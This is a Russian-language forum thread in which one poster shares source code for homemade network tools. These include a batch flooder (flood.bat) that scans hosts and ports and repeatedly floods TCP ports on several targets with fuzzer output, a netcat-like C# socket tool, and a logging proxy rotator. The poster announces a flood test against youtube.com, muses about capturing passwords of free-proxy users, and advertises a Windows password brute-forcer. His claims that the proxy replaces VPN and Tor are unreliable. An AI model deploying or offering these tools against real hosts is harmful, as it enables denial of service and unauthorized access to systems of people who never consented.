pcixi.ru
Творческое объединение шизофреников
Лечение шизофрении творчеством и общением на pcixi.ru

Успешные хакерские взломы. Скачать свежие утечки и книги
Talomir #421 | Суббота, 03.08.2024, 21:12
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
ЧЕТЫРЕ ОКНА FLOOD.BAT ЛОЖАТ СРЕДНИЙ СЕТЕВОЙ СЕРВИС


Всё серъёзно, я добавил механизмы синхронизации потоков на семафорах, чтобы не было гонок при старте обработчиков подключений. В ручной работе - работает многоконный чат.

Но вот на курилке решил запустить стресс-тест утилиты pipesend, при помощи неё-же в скрипте flood.bat выше, режим --crashport

И что-же, через две минуты работы 4 окон крэшера порта, мой pipesend сервер перестал отвечать. Это при том, что он занимает всего 2 экрана и ничего кроме чтения сокетов и файлов не делает. Флудер вместе с ИИ-генератором мусора завалили мою последнюю разработку за две минуты! Ваши сетевые программы пройдут стрессо-тестирование?

Будет работа на 2-3 недели, по повышению стрессоустойчивости, задача творческая, надо думать как к ней подступиться...


vietnamese accent



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #422 | Суббота, 03.08.2024, 21:14
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Кто не может исправить ошибки в стресс-тесте - тот ламер!


Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #423 | Суббота, 03.08.2024, 21:44
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
ПОНЯТНО ЧТО НА СИ-ШАРПЕ - ПИШЕТСЯ. ТЫ НА BATе НАПИШИ!

ПРОТОКОЛИРУЮЩИЙ ПРОКСИ-СЕРВЕР НА ПОЛ ЭКРАНА


Начал второй проект, паралельно pipesend-у и flood-у, протоколирующий прокси-сервер на.bat с pipesend, для снятия протоколов сайтов в первую очередь. Конечно, протоколирующий прокси можно выставить в сеть, засветить адрес в публикациях и попасть в фри-прокси-листы, писать пароли пользователей, юзающих бесплатные прокси. Студентам интересно, мне в 50 - не очень. А вот покопаться в протоколах сайтов интересно! В общем, планирую сделать и раздать, каждый будет юзать как хочет.

Идея запускать на порту pipesend, слушающий сокет и перенаправляющий поток байтов на настоящий прокси из free-proxy-list. И паралельным подключением логать это всё в файл и выводить в окно. Приблизительно это выглядит как в следующем черновике (пример кода на пол экрана наполовину работает, но очень медленно пока-что)

Код
@echo off

if "%1" == "" goto Usage

echo Starting proxy on address 127.0.0.1 port %1
echo THIS IS DRAFT: non-finished code

pipesend --listen %1 127.0.0.1 | pipesend --noeof %2 %3 | pipesend --noeof 127.0.0.1 %1

goto ExitMe

:Usage

echo USAGE: logproxy listen_port real_http_proxy preal_proxy_port
echo Set browser proxy to 127.0.0.1:listenport and drive browser to http://yoursite.com

:ExitMe


Если доведу, за несколько недель, то релиз будет в одном архиве с pipesend и flood.bat, набор сетевого хакера и тестировщика от меня. А пока что показываю окна с выводом этого полу-рабочего примера:





Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #424 | Суббота, 03.08.2024, 21:59
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Запустил www.youtube.com на тест, сайт заведомо уязвимый судя по сбоям 30 июля - 3 августа, может и flood.bat его уделает, и у меня будет кнопка 'выключить' раздражающую психо-обработку с андроида!




Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #425 | Воскресенье, 04.08.2024, 15:01
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
БОЛЕЕ НАДЁЖНЫЙ PIPESEND И КОРОТКИЙ FLOOD.BAT


Я уже писал, что 3 и 4 окна флудера вешали сервер pipesend в режиме чата, исключение выбрасывалось из-за переполнения очереди listen-backlog в методе Socket.Accept и из-за ситуации гонок. Также, были плохо продуманы таймауты приёма-передачи и чтения-записи файловых дескрипторов, не все файловые операции обрабатывали исключения.

После всех этих исправлений чат-сервер pipesend уже выдерживает 3 окна flood.bat, лишь на время теряя работоспособность при переполнении подключений и данных флудом. По хорошему, надо вести счётчики соединений с одного ip и при больше 100 в минуту с одного адреса блокировать адрес на день, не пропуская соединений с него. Так называемая защита от tcp-флуда.

Исходники надёжного pipesend.exe приведены ниже, половина кода является обеспечением надёжности, вторая половина - логики работы.

Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.IO;
using System.Threading;

namespace pipesend
{
    class Program
    {
        const int RWTIMEOUTMS = 300, CONNECTTIMEOUTMS = 300, MAXCLIENTS = 25;

        static bool done = false;
        static int port = 8888;
        static int argsshift = 0;
        static bool NOEOF = false;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;

        static void Main(string[] args)
        {
            if (args.Length < 2 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("pipesend: send a file to remote tcp port or run a chat-server, version 1.3");
                Console.WriteLine("USAGE: pipesend [--noeof] host_or_ip port <file.dat");
                Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80");
                Console.WriteLine("USAGE: pipesend --listen port local_ip1 [local_ip2 local_ip3...]");
                Console.WriteLine("EXAMPLE: pipesend --listen 8888 127.0.0.1");
                Console.WriteLine("--noeof  ignore EOF when input is redirected to file and continue wait data");
                return;
            }

            if (args[0].Equals("--noeof")) { NOEOF = true; argsshift = 1; }

            try { port = Int32.Parse(args[1+argsshift]); } catch { }

            if (args[0].Equals("--listen"))
            {
                List<Task> list = new List<Task>();                    

                for (int i = 2; i < args.Length; i++)
                    try
                    {                        
                        IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                        BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        BindSocket.Bind(new IPEndPoint(addr, port));
                        BindSocket.Listen(1000);                        
                        list.Add(Task.Run(Accepter));
                        _bind_socket.WaitOne();
                    }
                    catch { }

                Task.WaitAll(list.ToArray<Task>());
            }
            else
                try
                {
                    IPAddress ip = Dns.GetHostAddresses(args[0+argsshift])[0];

                    Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    sok.ReceiveTimeout = RWTIMEOUTMS;
                    sok.SendTimeout = RWTIMEOUTMS;

                    IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                    bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                    if (sok.Connected)
                    {
                        Stream fs = Console.OpenStandardInput();
                        Stream os = Console.OpenStandardOutput();

                        while (true)
                        {
                            byte[] buf;

                            int r = 0;

                            if (!Console.IsInputRedirected)
                            {
                    buf = new byte[1];
                    if (Console.KeyAvailable) r = fs.Read(buf, 0, buf.Length);
                            }
                            else
                            {
                    buf = new byte[8192];
                    try { r = fs.Read(buf, 0, buf.Length); } catch { }
                            }
                            if (r > 0)
                            {
                    byte[] sbuf = new byte[r];

                    for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                    sok.Send(sbuf);

                    if (!Console.IsInputRedirected) continue;
                            }
                            else if (Console.IsInputRedirected && !NOEOF) break;

                            try
                            {
                    byte[] rbuf = new byte[8192];

                    int a = 0;

                    if (sok.Available > 0) a = sok.Receive(rbuf);
                    if (a > 0) try { os.Write(rbuf, 0, a); os.Flush(); } catch { }
                            }
                            catch { }
                        }
                        
                        done = true;
                        try { fs.Close(); } catch { }
                        try { os.Close(); } catch { }

                    }
                    else Console.WriteLine("can't connect "+ip);
                    try { sok.Shutdown(SocketShutdown.Both); } catch { }
                    try { sok.Close(); } catch { }

                }
                catch { }

                if (done) Console.WriteLine("ok");
                else Console.WriteLine("error");
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

            bind.ReceiveTimeout = CONNECTTIMEOUTMS;
            bind.SendTimeout = CONNECTTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    bool overflow = false;
                    lock (clients_lock) { if (clients.Count >= MAXCLIENTS) overflow = true; }
                    if (overflow)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        continue;
                    }
                    data.ReceiveTimeout = RWTIMEOUTMS;
                    data.SendTimeout = RWTIMEOUTMS;

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }

        static List<Socket> clients = new List<Socket>();

        static object clients_lock = new object();

        static async Task SocketReader()
        {            
            Socket DataSocket = data;
            _data_socket.Release();

            try
            {
                Stream fs = Console.OpenStandardOutput();

                lock (clients_lock) clients.Add(DataSocket);

                byte[] buf = new byte[8192];

                do
                {
                    int r = 0;

                    if (DataSocket.Available > 0) r = DataSocket.Receive(buf);

                    if (r < 0) break;
                    else
                    {
                        byte[] sbuf = new byte[r];

                        for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                        try
                        {
                            fs.Write(buf, 0, r);
                            fs.Flush();
                        }
                        catch { }

                        lock (clients_lock)
                        {
                            for (int i = 0; i < clients.Count; i++)
                    if (clients[i] != DataSocket)
                    try { clients[i].Send(sbuf); } catch { }
                        }
                    }
                } while (true);

                fs.Close();
            }
            catch { }

            try { DataSocket.Shutdown(SocketShutdown.Both); } catch { }
            try { DataSocket.Close(); } catch { }
            
            lock(clients_lock) {
                for (int i = 0; i < clients.Count; i++) if (clients[i] == DataSocket)
                    { clients.RemoveAt(i); break; }
            }            
        }
    }
}


Также, я сократил размеры flood.bat в 5 раз, используя подпрограммы и циклы вместо копирования и вставок кода, и улучшил его поражающую способность. Исходники ниже.

Код
@echo off

if "%1" == "--ping" goto Ping
if "%1" == "--ping2" goto Ping2
if "%1" == "--scan" goto Scan
if "%1" == "--scanall" goto Scanall
if "%1" == "--crashport" goto Crashport
if "%1" == "--crashall" goto Crashall

echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --ping 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --ping2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scan host                        scan open root tcp ports on given host
echo flood --scanall host                     scan all open tcp ports on given host
echo flood --crashport phrase.exe 80 host1... host6     flood port 80 on set of hosts with fuzzer phrase.exe
echo flood --crashall phrase.exe host1... host6         flood ports 1-1024 with phrase.exe generator
goto exit_me

:Crashport

if not "%4" == "" call :Sendphrase %2 %4 %3
if not "%5" == "" call :Sendphrase %2 %5 %3
if not "%6" == "" call :Sendphrase %2 %6 %3
if not "%7" == "" call :Sendphrase %2 %7 %3
if not "%8" == "" call :Sendphrase %2 %8 %3
if not "%9" == "" call :Sendphrase %2 %9 %3

goto Crashport

:Crashall

for /L %%P in (1, 1, 1024) do (

if not "%3" == "" call :Sendphrase %2 %3 %%P
if not "%4" == "" call :Sendphrase %2 %4 %%P
if not "%5" == "" call :Sendphrase %2 %5 %%P
if not "%6" == "" call :Sendphrase %2 %6 %%P
if not "%7" == "" call :Sendphrase %2 %7 %%P
if not "%8" == "" call :Sendphrase %2 %8 %%P
if not "%9" == "" call :Sendphrase %2 %9 %%P
)
goto Crashall

:Ping
for /L %%Q in (0, 1, 255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Ping2
for /L %%Q in (0, 1, 255) do (
    for /L %%R in (0, 1, 255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scan
for /L %%Q in (1, 1, 1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanall
for /L %%Q in (1, 1, 65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me

:Sendphrase
echo Crash %2 %3 unicode
for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3
echo Crash %2 %3 ascii
for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3
timeout /t 3
exit /b
  
:exit_me


Последняя раздача бинарников и исходников по тексту вверх обновлена на эти две последних версии. Качайте!



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Воскресенье, 04.08.2024, 15:02
Статус: нет меня
 
Talomir #426 | Воскресенье, 04.08.2024, 23:15
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
РОТАТОР ПРОКСЕЙ И ЛОГГЕР ПРОТОКОЛОВ САЙТОВ


Ротатор проксей является посредником между браузером и прокси-серверами. Он переключает браузер на следующий прокси раз в 2 минуты, так что трафик сложно отслеживать, понимать и перехватывать, что улучшает анонимность и безопасность в интернете. Одна из замен VPN.

Протоколирующий ротатор при этом пишет обмен между браузером и сайтов в текстовый файл, если сайт поддерживает протокол HTTP j можно по протоколу разобрать логику работы сайта, записав сеанс работы с сайтом в файл и тщательно прочитав его. Это не работает с HTTPS сайтами.

Сегодня я за пару часов написал, на имеющихся кусках кода из разных проектов, свой ротатор проксей, протоколирующий. запускается он как C:>logproxy log.txt 8888 127.0.0.1 тут 8888 это порт для прокси-поля браузера, а 127.0.0.1 это адрес прокси-поля для браузера.

logproxy ожидает подключения от браузера, дампит запрос в файл, подбирает хороший прокси через API и посылает данные запроса на удалённый настоящий прокси. И - дампит ответ удалённой машины. То есть он располагается между браузером и прокси-сервером, и раз в 2 минуты менят прокси на новый. Так весь трафик меняет маршруты для неотслеживаемости а HTTP сайты можно анализировать по протоколу зайдя на них через http://

Исходники проекта logproxy

Program.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace logproxy
{
    class Program
    {
        static int listen_port = 8888;
        static Log log = null;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;
        static int clients = 0;

        const int MAXCLIENTS = 512;

        static void Main(string[] args)
        {
            if (args.Length == 0 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("HTTP proxy rotator and logger for the protocol analyses, v1.0");
                Console.WriteLine("USAGE: logproxy file.txt listen_port bind_ip1 bind_ip2...");
                return;
            }

            try { listen_port = Int32.Parse(args[1]); } catch { }

            log = new Log(args[0]);

            List<Task> list = new List<Task>();

            for (int i = 2; i < args.Length; i++)
                try
                {
                    IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                    BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    BindSocket.Bind(new IPEndPoint(addr, listen_port));
                    BindSocket.Listen(1000);
                    list.Add(Task.Run(Accepter));
                    _bind_socket.WaitOne();
                }
                catch { }

            Task.WaitAll(list.ToArray<Task>());
            log.Close();
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

            bind.ReceiveTimeout = Browser.RWTIMEOUTMS;
            bind.SendTimeout = Browser.RWTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    if (clients++ >= MAXCLIENTS)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        clients--;
                        continue;
                    }

                    Console.WriteLine("accepted new connection!");

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }
        static async Task SocketReader()
        {
            Socket DataSocket = data;
            _data_socket.Release();

            Browser browser = new Browser(DataSocket);
            Proxy proxy = new Proxy();

            proxy.Connect();

            byte[] buf = new byte[8192];

            int r = 0;

            do
            {
                do
                {
                    r = browser.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from browser");
                        log.Write(Buffer.Cut(buf, r), "browser asks");
                    }

                    if (proxy.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto ProxyFail;

                } while (r > 0);

                do
                {
                    r = proxy.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from proxy");
                        log.Write(Buffer.Cut(buf, r), "site answers");
                    }

                    if (browser.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto BrowserFail;

                } while (r > 0);

            } while (true);

        ProxyFail:
        BrowserFail:

            browser.Close();
            proxy.Close();            

            clients--;
        }
    }
}


Browser.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;

namespace logproxy
{
    internal class Browser
    {
        internal static int RWTIMEOUTMS = 300;

        protected Socket sok = null;
        internal Browser(Socket data)
        {
            sok = data;
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);

            } catch { return 0; }
        }

        internal int Send(byte[] buffer)
        {
            try
            {
                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);

            } catch { return 0; }
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
        }
    }
}


Proxy.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace logproxy
{
    internal class Proxy
    {
        static int RWTIMEOUTMS = 300;
        static int CONNECTTIMEOUTMS = 400;

        protected Socket sok = null;
        internal Proxy()
        {
            ProxyList = GetList();
        }
        internal int Send(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);
            }
            catch { return 0; }
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);
            }
            catch { return 0; }
        }

        internal bool Connect()
        {
            try
            {
                sok = Connect(GetNextGoodProxy());

                if (sok != null) return true;
            }
            catch { }

            return false;
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
            sok = null;
        }

        protected Socket Connect(string proxy)
        {
            try
            {
                string host = proxy.Replace("http://", "").Replace("https://", "").Split(':')[0];
                int port = Int32.Parse(proxy.Replace("http://", "").Replace("https://", "").Split(':')[1]);

                IPAddress ip = Dns.GetHostAddresses(host)[0];

                Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                sok.ReceiveTimeout = RWTIMEOUTMS;
                sok.SendTimeout = RWTIMEOUTMS;

                IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                if (sok.Connected) return sok;

                try { sok.Shutdown(SocketShutdown.Both); } catch { }
                try { sok.Close(); } catch { }

            }
            catch { }

            return null;
        }

        static string last_good_proxy = "";
        static DateTime last_check_time = DateTime.Now;
        static object last_lock = new object();
        protected string GetNextGoodProxy(int maxtry = 50)
        {
            try
            {
                for (int i = 0; i < maxtry; i++)
                {
                    if (LastProxy.Length > 0) return LastProxy;

                    string proxy = GetNext;

                    Console.WriteLine("checking proxy " + proxy + "...");

                    if (CheckProxy(proxy, "http://www.microsoft.com")
                        && CheckProxy(proxy, "https://www.microsoft.com")
                        )
                    {
                        LastProxy = proxy;
                        return proxy;
                    }
                }
            }
            catch { }

            Console.WriteLine("error: no good proxy found");
            return "";
        }

        protected string LastProxy
        {
            get
            {
                lock (last_lock)
                {
                    if (DateTime.Now.Subtract(last_check_time).TotalMinutes <= 2
                        && last_good_proxy.Length > 0) return last_good_proxy;
                    else return "";
                }
            }
            set
            {
                lock (last_lock)
                {
                    last_good_proxy = value;
                    last_check_time = DateTime.Now;
                }
            }
        }

        protected bool CheckProxy(string proxy, string testurl = "http://www.microsoft.com")
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(testurl);

                request.Timeout = 5000;
                request.Proxy = new WebProxy(proxy);

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                if (ResponseString.Length > 1024) return true;
            }
            catch { }

            return false;
        }

        protected List<string> ProxyList = new List<string>();
        protected int ListIndex = 0;

        public string GetNext
        {
            get
            {
                try
                {
                    if (ListIndex >= ProxyList.Count)
                    {
                        ProxyList = GetList();
                        ListIndex = 0;
                    }
                    string proxy = ProxyList[ListIndex++];

                    return proxy;

                }
                catch { return ""; }
            }
        }

        internal List<string> GetList()
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all");

                request.Timeout = 5000;
                request.Proxy = null;

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                string[] ar = ResponseString.Split('\n');

                List<string> res = new List<string>();

                foreach (string l in ar)
                    if (l.Trim('\r', '\n', '\t', ' ').Length > 0)
                        res.Add("http://" + l.Trim('\r', '\n', '\t', ' '));

                return res;
            }
            catch { return new List<string>(); }
        }

    }
}


Log.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace logproxy
{
    internal class Log
    {
        string filename = "log.txt";
        FileStream fs = null;
        object fs_lock = new object();
        internal Log(string filename, bool overrite = false)
        {
            try
            {
                this.filename = filename;
                if (overrite) File.WriteAllText(filename, "");

                fs = new FileStream(filename, FileMode.OpenOrCreate);
            }
            catch { }
        }

        internal void Close() { try { fs.Close(); } catch { } }

        internal bool Write (byte[] data, string Comment)
        {
            lock (fs_lock)
                try
                {
                    byte[] b = Encoding.ASCII.GetBytes("\r\n\r\n\r\n[ " + DateTime.Now+": " + Comment + " ]\r\n");
                    fs.Write(b, 0, b.Length);
                    fs.Write(data, 0, data.Length);
                    return true;
                } catch { return false; }
        }
    }
}



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #427 | Воскресенье, 04.08.2024, 23:16
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Скачать logproxy можно будет через пару дней, когда я тщательно оттестирую код.


Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #428 | Понедельник, 05.08.2024, 01:54
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
ЭТОТ ПОСТ НА ЭТОМ ФОРУМЕ СДЕЛАН ПО СЛУЧАЙНОМУ СЕТЕВОМУ МАРШРУТУ


Через прокси-ротатор logproxy.exe, добавленный в атозагрузку Windows. Поправил с десяток узких мест, теперь своя прокся летает, и открываются и pcixi и форума на этом сайте.




Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #429 | Понедельник, 05.08.2024, 11:49
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +

БЕСПЛАТНЫЙ VPN "LOGPROXY" СО СМЕНОЙ IP КАЖДЫЕ 10 МИНУТ



О принципах работы писал выше, день тестировал - нормально работает, ускорил в 100 раз и стабилизировал программу. Замена и VPN (случайная точка выхода трафика с шифрованием по SSL) и Tor. Из поисковиков с этим ротатором проксей нормально работает Bing, браузеры тестировались Brave и Firefox.

Для добавления logproxy в автозагрузку Windows:

- разархивируете архив сетевых программ и перемещаете в C:\nethack-suite-1.0

- в папке C:\nethack-suite-1.0\log-proxy в файле logproxy.bat правите порт с 9999 на нужный вам, это порт вашего прокси-сервера для браузера и программ, на адресе 127.0.0.1 (виртуальный ip адрес, есть в любом домашнем компьютере)

- копируете logproxy.bat, нажимаете Win+R, shell:startup, октрывается папка с программами автозагрузки, вставляете сюда logproxy.bat

- в браузере прописываете HTTP и HTTPS прокси на 127.0.0.1 и выбранный вами порт, меняете поисковую систему на Bing (работает через прокси)

- запускате logproxy.bat и тестируете открытием сайтов

- перезагружаете Windows

Сачать logproxy.exe можно в составе nethack-suite-1.0 по ссылке ниже!


NETHACK-SUITE-1.0


food.exe free nethack-suite\food\
Даунлодер документов с сайтов, сканер скрытых поддоменов и крэшер сайтов

flood.bat free nethack-suite\pipesend\
Обнаружение хостов в подсети, сканирование портов, крэш tcp портов

pipesend.exe free nethack-suite\pipesend\
Переписанный netcat, аналог telnet на порт, посылка файла на порт, соединение с портом, и даже шифрованный и нешифрованный чат - групповой talk

logproxy.exe free nethack-suite\log-proxy\
Логгирование протокола HTTP сайта, бесплатный прокси со сменой ip каждые 10 минут (анонимайзер, замена VPN и Tor)

phrase.exe free nethack-suite\pipesend\
Генератор опасных для программ строк, скриптов, SQL запросов, фрагментов всех популярных протоколов, для тестирования tcp портов на ошибки и их крэша

wmibrute.exe free nethack-suite\wmibrute\
Брутефорс пароля Windows через RPC\WMI, новый метод брута, словари для брута

hacker4.exe 15eur nethack-suite\hacker4\
Кульный чат с ИИ обученным на хакинге и электронике, с 3D графикой

RewriterStudio.exe 40eur nethack-suite\rewriter-studio\
Автоматически пишет статьи о компьютерах по названию и фрагменту текста, переписывает статьи и новости методами синтеза текста

CleanWeb.exe 15eur nethack-suite\clean-web\
Мета-поисковик с автоматической очисткой страниц от стоп-слов и переписыванием страниц большим цветом и на выбранном фоне, защита глаз и психического здоровья

clean-windows.exe free nethack-suite\clean-windows\
Удаление 80% ненужных сервисов и драйверов и ускорение компьютера в 4 раза


Скачать через файлообменник:
nethack-suite-1.0.zip



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Вторник, 06.08.2024, 19:42
Статус: нет меня
 
Talomir #430 | Понедельник, 05.08.2024, 17:08
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
СЛЕДУЮЩИЙ ПРОЕКТ: ANTITRACE.EXE

antitrace.exe - Resident Coockies Cleaner

"Cleans coockies and browser history every 10 minutes automatically. Compatible with Firefox, Brave, ... Runs together with logproxy.exe from the logproxy.bat file at the windows startup..."



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #431 | Понедельник, 05.08.2024, 17:49
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Фото захода на сайт ит-армии через случайный шифрованный маршрут интернета, используется logproxy.exe вместо устаревшего Tor.exe




Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #432 | Понедельник, 05.08.2024, 23:19
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Нет нужды писать клинер самому, под firefox поставил расширение CyberGhost Cleaner, под brave есть опция браузера удалять куки и данные сайта при закрытии страницы.


Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Понедельник, 05.08.2024, 23:31
Статус: нет меня
 
Talomir #433 | Понедельник, 05.08.2024, 23:23
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Добавил класс канера проксей в logproxy.bat, теперь если сам не нашёл проксей - берёт у стороннего поставщика по API, иначе берёт свои. Сохраняет в текущую папку файл proxies.txt Архив nethack-suite-1.0 перезакачан выше


Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Понедельник, 05.08.2024, 23:24
Статус: нет меня
 
Talomir #434 | Вторник, 06.08.2024, 18:57
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
УЛУЧШЕНИЕ СКРИПТА FLOOD.BAT

